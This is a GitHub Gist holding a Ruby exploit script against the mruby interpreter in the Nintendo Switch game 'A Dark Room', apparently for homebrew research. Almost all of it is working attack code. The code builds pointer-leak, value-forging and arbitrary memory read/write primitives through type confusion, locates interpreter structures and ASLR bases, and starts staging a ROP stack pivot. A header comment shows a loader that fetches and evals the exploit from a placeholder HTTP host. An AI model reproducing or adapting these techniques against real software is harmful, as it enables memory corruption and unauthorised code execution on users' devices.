Created
May 16, 2019 21:15
-
-
Save misson20000/be4b5589b2cb2f78c61a9c33bca924ad to your computer and use it in GitHub Desktop.
Exploit for A Dark Room on the Switch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# load with $ffi.eval($ffi.http_get("http://host.domain/path/to/exploit.rb")) | |
if $ffi | |
# if we're running under A Dark Room | |
$text = [] | |
def tick(g) | |
y = 200 | |
$text.each do |t| | |
g.labels << [20, y, t, 1, 0, 0, 0, 0] | |
y+= 30 | |
end | |
end | |
def puts(t) | |
$text.push(t.to_s) | |
end | |
end | |
class Array | |
def to_s(leak=nil) | |
if leak == :yes_please_leak_my_address | |
super | |
else | |
inspect | |
end | |
end | |
end | |
class Exploit | |
attr_reader :arb_string | |
attr_reader :mrb_state_ptr | |
def leak_ptr(object) | |
if @pointer_leaker_array && @pointer_leaker_string then | |
@pointer_leaker_array[0] = object | |
return ("a" + @pointer_leaker_string)[1, 8].unpack("Q<")[0] | |
else | |
raise "pointer leaker not built yet" | |
end | |
end | |
def leak_ptr_base(array) | |
str = array.to_s(:yes_please_leak_my_address).split(":")[1] | |
str[0, str.length-1].to_i(16) | |
end | |
def check_leak_ptr | |
# perform a few tests to make sure our fast/safe pointer leaker actually works... | |
ary = [1] | |
{3 => 3, | |
4 => 4, | |
ary => leak_ptr_base(ary)}.each_pair do |value, expected_ptr| | |
leaked = leak_ptr(value) | |
if leaked != expected_ptr | |
raise "pointer leaker check failed: expected leak_ptr(#{value}) => 0x#{expected_ptr.to_s(16)}, got 0x#{leaked.to_s(16)}" | |
end | |
end | |
@built_pointer_leaker = true | |
end | |
MRB_TT_ARRAY = 14 | |
MRB_TT_STRING = 16 | |
def forge_value(ptr, type) | |
# []= is implemented as self.replace([pre, rep, post].join), which reallocates | |
# so we have to use setbyte | |
[ptr, type].pack("Q<Q<").bytes.each_with_index do |b, i| | |
@value_forger_string.setbyte(i, b) | |
end | |
([] + @value_forger_array).first | |
end | |
def forge_value_base(ptr, type) | |
Forger.new([[ptr, type].pack("Q<*")]).forge.first | |
end | |
def check_forge_value | |
if forge_value(0xabcd, 3) != 0xabcd then | |
raise "forge_value(0xabcd, 3) failed" | |
end | |
if forge_value(0, 2) != true then | |
raise "forge_value(0, 2) failed" | |
end | |
@built_value_forger = true | |
end | |
# need to be careful not to accidentally share @arb_string | |
def arb_read(ptr, size) | |
str = String.new | |
while size > 0 | |
read_size = [23, size].min | |
str+= @arb_string[ptr, read_size] | |
size-= read_size | |
ptr+= read_size | |
end | |
str | |
end | |
def arb_write(ptr, data) | |
data.bytes.each_with_index do |b, i| | |
@arb_string.setbyte(ptr + i, b) | |
end | |
end | |
def check_arb_string | |
test_str = "yes" | |
test_str_object = arb_read(leak_ptr(test_str), 48) | |
if test_str_object[0] != MRB_TT_STRING.chr then | |
raise "arb string failed: test str type mismatch" | |
end | |
if test_str_object[8, 8].unpack("Q<")[0] != leak_ptr(String) then | |
raise "arb string failed: test str class mismatch" | |
end | |
if test_str_object[24, 4] != "yes\x00" then | |
raise "arb string failed: test str content mismatch" | |
end | |
arb_write(leak_ptr(test_str) + 24, "wow") | |
if test_str != "wow" then | |
puts test_str | |
raise "arb string write failed: test str content not overridden" | |
end | |
@built_arb_string = true | |
end | |
def run | |
if !@built_pointer_leaker | |
puts "building pointer leaker" | |
@pointer_leaker_array = Array.new(8, nil) | |
@value_forger_string = 0.chr * 24 # can't be embeded or we'll confuse array | |
@pointer_leaker_string = forge_value_base(leak_ptr_base(@pointer_leaker_array), MRB_TT_STRING) | |
check_leak_ptr | |
puts "built pointer leaker" | |
end | |
if !@built_value_forger | |
puts "building value forger" | |
@value_forger_array = forge_value_base(leak_ptr(@value_forger_string), MRB_TT_ARRAY) | |
check_forge_value | |
puts "built value forger" | |
end | |
if !@built_arb_string | |
puts "building arb string" | |
# contents of this string look like an RString that spans most of the address space | |
@exploit_string = [MRB_TT_STRING, 0, 0, 0, leak_ptr(String), 0, 0xffffffffffff, 0xffffffffffff, 0].pack("CCCCx4Q<*") | |
exploit_string_addr = leak_ptr(@exploit_string) | |
# This should be an embedded string. We offset the pointer one byte back to miss the embedded | |
# flag and read it out as a regular heap string using exploit_string's RString as the string | |
# contents. | |
confuser_string = [2, 2, exploit_string_addr].pack("Q<L<x3Q<")[0, 23] | |
confused_string = forge_value(leak_ptr(confuser_string)-1, MRB_TT_STRING) | |
confused_string_copy = ("a" + confused_string) | |
exploit_string_object = ("a" + confused_string)[1, 48] | |
if exploit_string_object[8, 8].unpack("Q<")[0] != leak_ptr(String) then | |
raise "exploit_string_object class mismatch" | |
end | |
if exploit_string_object[24, 8].unpack("Q<")[0] != @exploit_string.length then | |
raise "exploit_string_object length mismatch" | |
end | |
# find where it's storing its contents on the heap | |
exploit_string_content_ptr = exploit_string_object[40, 8].unpack("Q<")[0] | |
@arb_string = forge_value(exploit_string_content_ptr, MRB_TT_STRING) | |
check_arb_string | |
end | |
puts "built all primitives" | |
@mrb_state_ptr = leak_ptr(Object) - 0xcfd0 # these allocations are very predictable | |
if arb_read(@mrb_state_ptr + 0x48, 8*8) != [ | |
leak_ptr(Object), | |
leak_ptr(Class), | |
leak_ptr(Module), | |
leak_ptr(Proc), | |
leak_ptr(String), | |
leak_ptr(Array), | |
leak_ptr(Hash), | |
leak_ptr(Range)].pack("Q<*") then # this is probably enough | |
raise "mrb state guess was wrong?" | |
end | |
end | |
class Forger | |
def initialize(value_strings) | |
@ary = Array.new(1000, 1) | |
@value_strings = value_strings | |
# preallocate for sanity | |
@values = Array.new(value_strings.length, nil) | |
end | |
def to_int | |
# TODO: adjust slide to detect misalignments? | |
template = [3].pack("Q<") + @value_strings.join + 32.times.map do |i| | |
[1000 + i, 3].pack("Q<*") | |
end.join | |
# shrink array down to 1/5 of its size to trigger capa change | |
@ary.slice!(0, (@ary.length * 4 / 5) - 1) | |
# shrink again to trigger capacity change (ary_shrink_capa decides whether to shrink using pre-shrink length) | |
@ary.slice!(0, 1) | |
@strings = 10000.times.map do |i| | |
[3].pack("Q<") + template # for uniqueness | |
end | |
0 | |
end | |
def forge | |
corrupt = @ary.slice!(self, @ary.length) | |
corrupt.reverse_each.with_index do |e, j| | |
i = corrupt.length-j-1 | |
if e == 1 then | |
next | |
end | |
if e >= 1000 then | |
slide_target = i - (e-1000) | |
@value_strings.length.times do |i| | |
@values[i] = corrupt[slide_target - @value_strings.length + i] | |
end | |
return @values | |
else | |
raise "wat: #{e}" | |
end | |
end | |
raise "couldn't find slide" | |
end | |
end | |
end | |
begin | |
if !$exploit then | |
$exploit = Exploit.new | |
end | |
$exploit.run | |
class Fixnum | |
def arbcall_helper | |
puts "wrong" | |
end | |
end | |
fixnum_class_ptr = $exploit.leak_ptr(Fixnum) | |
fixnum_mt_ptr = $exploit.arb_read(fixnum_class_ptr + 32, 8).unpack("Q<")[0] | |
mt_n_buckets, mt_size, mt_n_occupied, mt_ed_flags, mt_keys, mt_values = $exploit.arb_read(fixnum_mt_ptr, 40).unpack("L<3x4Q<3") | |
symbols = $exploit.arb_read(mt_keys, mt_n_buckets*4).unpack("L<*") | |
fixnum_index_arb = symbols.find_index($exploit.leak_ptr(:arbcall_helper) & 0xffffffff) | |
fixnum_index_eq = symbols.find_index($exploit.leak_ptr(:divmod) & 0xffffffff) | |
if fixnum_index_arb == nil then | |
raise "couldn't find :arbcall_helper" | |
end | |
if fixnum_index_eq == nil then | |
raise "couldn't find :divmod" | |
end | |
aslr_base = $exploit.arb_read(mt_values + (16*fixnum_index_eq) + 8, 8).unpack("Q<")[0] - 0x74200 | |
jmpbuf_ptr = $exploit.arb_read($exploit.mrb_state_ptr, 8).unpack("Q<")[0] | |
sp = $exploit.arb_read(jmpbuf_ptr + 0x68, 8).unpack("Q<")[0] | |
puts "sp: 0x" + sp.to_s(16) | |
rop_return_x30 = aslr_base + 0x85aec | |
$exploit.arb_write(mt_values + (16*fixnum_index_arb), [1, 0x1337000].pack("Cx7Q<")) | |
puts "aslr base: 0x" + aslr_base.to_s(16) | |
sdk_aslr_base = $exploit.arb_read(aslr_base + 0x25c8d0, 8).unpack("Q<")[0] - 0x4f79b0 | |
puts "sdk aslr base: 0x" + sdk_aslr_base.to_s(16) | |
puts "offset: 0x" + (sdk_aslr_base - aslr_base).to_s(16) | |
first_stack_pivot_struc = [] | |
#123.arbcall_helper | |
rescue => e | |
puts e.inspect | |
puts e.backtrace | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment